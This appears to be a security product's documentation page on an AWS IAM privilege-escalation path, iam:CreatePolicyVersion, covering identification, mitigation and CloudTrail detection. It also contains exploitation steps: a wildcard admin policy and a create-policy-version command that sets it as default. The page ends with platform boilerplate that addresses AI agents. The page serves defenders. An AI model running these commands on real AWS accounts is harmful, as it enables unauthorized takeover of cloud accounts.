> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_can_create_policy_version.md).

# AWS\_CAN\_CREATE\_POLICY\_VERSION

## Summary

|                                |                                                                                                                            |
| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
| **FSProtect ACL Alias**        | AWS\_CAN\_CREATE\_POLICY\_VERSION                                                                                          |
| **Edge Type**                  | Attack Path                                                                                                                |
| **Affected Object Types**      | IAM Users, IAM Roles, Customer Managed Policies                                                                            |
| **Exploitation Certainty**     | Certain                                                                                                                    |
| **AWS IAM Action / Condition** | `iam:CreatePolicyVersion` on target customer-managed policy ARN; critical when attacker can set the new version as default |

## Description

`AWS_CAN_CREATE_POLICY_VERSION` represents the ability to create a new version of an existing **customer-managed IAM policy**.

This is a high-impact privilege escalation path because an attacker can:

* Add broad permissions (for example `Action: "*"`, `Resource: "*"`) to a new policy version.
* Make that malicious version the default immediately (or later through [`AWS_CAN_SET_DEFAULT_POLICY_VERSION`](https://docs.forestall.io/fsprotect/edges/aws/aws_can_set_default_policy_version)).
* Inherit administrative permissions through every user/role/group already attached to that policy.

Because the policy attachment graph usually already exists, changing policy content through a new version can produce instant, large-scale privilege expansion.

## Identification

### AWS CLI

Check whether a principal can create policy versions:

```bash
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/AnalystUser \
  --action-names iam:CreatePolicyVersion \
  --resource-arns arn:aws:iam::123456789012:policy/TargetPolicy
```

Inspect target policy versions:

```bash
aws iam get-policy \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy
```

### AWS Console

* Open **IAM** -> **Policies**.
* Select a customer-managed policy.
* Open **Policy versions**.
* Review who can edit IAM policies and who can create a new policy version through delegated permissions.

## Exploitation

### AWS CLI

Create a malicious policy document:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
```

Create a new version and set it as default:

```bash
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default
```

If `--set-as-default` is blocked but version creation is allowed, attackers can chain with [`AWS_CAN_SET_DEFAULT_POLICY_VERSION`](https://docs.forestall.io/fsprotect/edges/aws/aws_can_set_default_policy_version).

## Mitigation

* Restrict `iam:CreatePolicyVersion` to tightly controlled automation identities only.
* Scope IAM permissions to explicit policy ARNs instead of wildcards.
* Use permission boundaries and SCPs to block broad policy version manipulation.
* Review and remove unused customer-managed policies and stale delegations.
* Require approval workflows for policy version changes.

## Detection

Monitor IAM policy version creation in CloudTrail:

* **Event source**: `iam.amazonaws.com`
* **Event name**: `CreatePolicyVersion`
* High-signal indicator: `requestParameters.setAsDefault = true`

Example lookup:

```bash
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion
```

## References

* <https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html>
* <https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html>
* <https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/aws/aws_can_create_policy_version.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
